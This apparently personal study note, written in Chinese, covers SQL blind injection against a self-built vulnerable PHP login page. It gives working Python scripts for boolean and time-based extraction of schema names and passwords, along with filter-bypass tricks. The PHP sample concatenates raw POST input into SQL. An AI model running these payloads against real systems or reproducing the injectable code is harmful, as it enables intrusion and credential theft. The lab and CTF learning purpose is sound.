sql盲注脚本简单分析学习
# 类型
- 布尔盲注
- 时间盲注
布尔盲注根据返回的信息的不同,判断查询结果是否正确
时间盲注通过观察/脚本计算不关注回显信息,通过页面的是否存在缓慢的加载,判断sleep函数是否执行,确认substr等函数是否爆破成功
# 布尔盲注
写了一个简单测试页面,测试一下布尔盲注
点击查看
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登录页面</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f0f0f0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.login-container {
background-color: #ffffff;
padding: 30px;
border-radius: 8px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2);
width: 300px;
}
h2 {
margin-bottom: 20px;
text-align: center;
color: #333;
}
label {
display: block;
margin-bottom: 5px;
color: #555;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 12px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 14px;
}
input[type="submit"] {
width: 100%; /* 使按钮宽度为100% */
background-color: #4CAF50;
color: white;
padding: 12px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
transition: background-color 0.3s;
margin: 0 auto; /* 将外边距设置为自动 */
}
input[type="submit"]:hover {
background-color: #45a049;
}
.footer {
margin-top: 20px;
text-align: center;
color: #777;
font-size: 12px;
}
</style>
</head>
<body>
<div class="login-container">
<h2>登录</h2>
<form action="" method="post">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required>
<label for="password">密码:</label>
<input type="password" id="password" name="password" required>
<input type="submit" value="登录">
</form>
</div>
</body>
</html>
<?php
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "testdb";
$conn = new mysqli($servername, $username, $password, $dbname);
if (isset($_POST['username']) && isset($_POST['password'])) {
$sql = "SELECT id, username, password FROM user WHERE username = '$_POST[username]' AND password = '$_POST[password]'";
$result = $conn->query($sql);
if ($result->num_rows > 0)
echo "<span>登录成功!</span>";
else
echo "<span>账号或密码错误!</span>";
}
$conn->close();
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
我的数据库名testdb
,先让语句可以正常运行。
用substr
函数,一次截取结果中的一个字符,爆破这个字符,如果爆破到截取的字符时,substr((select password from user where username='flag'),{i},1)='{s}'
为真,会返回登录成功
用本地phpstudy mysql速度非常慢,用虚拟机环境速度翻倍,这是什么原因?
import requests
import time
import string
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-{}_'
flag = ""
url = "http://192.168.237.133/sql.php"
i = 1
start = time.time()
while True:
for s in flags:
data = {
# 爆库
# "username":f"99'or substr((select group_concat(schema_name) from information_schema.schemata),{i},1)='{s}'#",
# 爆表
# "username":f"99'or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{s}'#",
# 爆字段
# "username":f"99'or substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{i},1)='{s}'#",
# 爆数据
"username":f"99'or substr((select password from user where username='flag'),{i},1)='{s}'#",
# 爆数据
"password":'1'
}
resp = requests.post(url,data=data)
end = time.time()
if "登录成功" in resp.text:
i += 1
flag += s
print(f"[#]------{flag}")
break
elif (end-start)>3:
print("尽力啦尽力啦")
exit()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
绕过
- 过滤
=
,换成like
- 过滤空格,
/**/
,反引号,括号,如果是GET传参还可以用%0a,%0b,%0c,%0d
等 - 过滤
substr
,使用mid,left,right
函数,函数MID(string, start, length)
,LEFT(string, n)
,RIGHT(string, n)
,string位置替换为子查询,mid函数用法同substr
一样,left,right是从左或右开始截取n个字符,left,right函数搭配like应该好用一些
测试mid函数,只需要把substr函数替换为mid函数即可
data = {
# 爆库
# "username":f"99'or mid((select group_concat(schema_name) from information_schema.schemata),{i},1) = '{s}'#",
# 爆表
# "username":f"99'or mid((select group_concat(table_name) from information_schema.tables where table_schema ='testdb'),{i},1)= '{s}'#",
# 爆字段
# "username":f"99'or mid((select group_concat(column_name) from information_schema.columns where table_schema='testdb'),{i},1)='{s}'#",
# 爆数据
"username":f"99'or mid((select password from user where username ='flag'),{i},1)='{s}'#",
# 爆数据
"password":'1'
}
2
3
4
5
6
7
8
9
10
11
12
测试left函数,要测试right函数把username里的left换成right即可
import requests
import time
import string
# 下划线放最后,避免当作mysql统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-{}_'
flag = ""
url = "http://192.168.237.133/sql.php"
i = 1
start = time.time()
while True:
for s in flags:
# 测试left
test_flag = flag + s
# 测试right
# test_flag = s + flag
data = {
# 爆库
# "username":f"99'or left((select group_concat(schema_name) from information_schema.schemata),{i}) like '%{test_flag}%'#",
# 爆表
# "username":f"99'or left((select group_concat(table_name) from information_schema.tables where table_schema ='testdb'),{i})like '%{test_flag}%'#",
# 爆字段
# "username":f"99'or left((select group_concat(column_name) from information_schema.columns where table_schema='testdb'),{i})like '%{test_flag}%'#",
# 爆数据
"username":f"99'or left((select password from user where username ='flag'),{i})like '%{test_flag}%'#",
# 爆数据
"password":'1'
}
resp = requests.post(url,data=data)
end = time.time()
if "登录成功" in resp.text:
i += 1
# 测试left
flag += s
# 测试right
# flag = s + flag
print(f"[#]------{flag}")
break
elif (end-start)>3:
print("尽力啦尽力啦")
exit()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
疑惑
尝试用regexp
替换like,当前数据库名testdb
,用regexp
匹配testdb
,匹配有问题?
select语句的sql盲注好像很依赖select
,select过滤掉就退役了?
# 时间盲注
还用这个php,不再关注回显信息,通过页面的是否存在缓慢的加载,判断sleep函数是否执行,确认substr函数的是否爆破成功
脚本没有大的变化,关键在if(条件,sleep(t),0)
语句,判断调试是否为真,如果为真,则执行sleep函数,页面加载缓慢,如果为假,则不执行sleep函数,确认爆破结果,条件可以放入substr,mid等函数的子查询substr((子查询),i,1)='s'
import requests
import time
import string
# 下划线放最后,避免当作统配符吃掉特殊字符
flags = 'abcdefghijklmnopqrstuvwxyz0123456789,-{}_'
flag = ""
url = "http://192.168.237.133/sql.php"
i = 1
while True:
for s in flags:
data = {
# 爆库
# "username":f"99'or if((substr((select group_concat(schema_name) from information_schema.schemata),{i},1) ='{s}'),sleep(0.5),0)#",
# 爆表
# "username":f"99'or if((substr((select group_concat(table_name) from information_schema.tables where table_schema =database()),{i},1)='{s}'),sleep(0.5),0)#",
# 爆字段
# "username":f"99'or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{i},1) ='{s}'),sleep(0.5),0)#",
# 爆数据
"username":f"99'or if((substr((select password from user where username ='flag'),{i},1) ='{s}'),sleep(0.5),0)#",
# 爆数据
"password":'1'
}
start = time.time()
resp = requests.post(url,data=data)
end = time.time()
if (end-start)>0.5:
i += 1
flag += s
print(f"[#]------{flag}")
break
else:
time.sleep(0.1)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
换成上面的mid,left,right应该也可以
update,del语句的时间盲注,例如BaseCTF (opens new window),BaseCTF
的一道题目,可以执行一句sql语句,过滤了select,可以用show命令拿到表名,字段名,用update,del语句进行时间盲注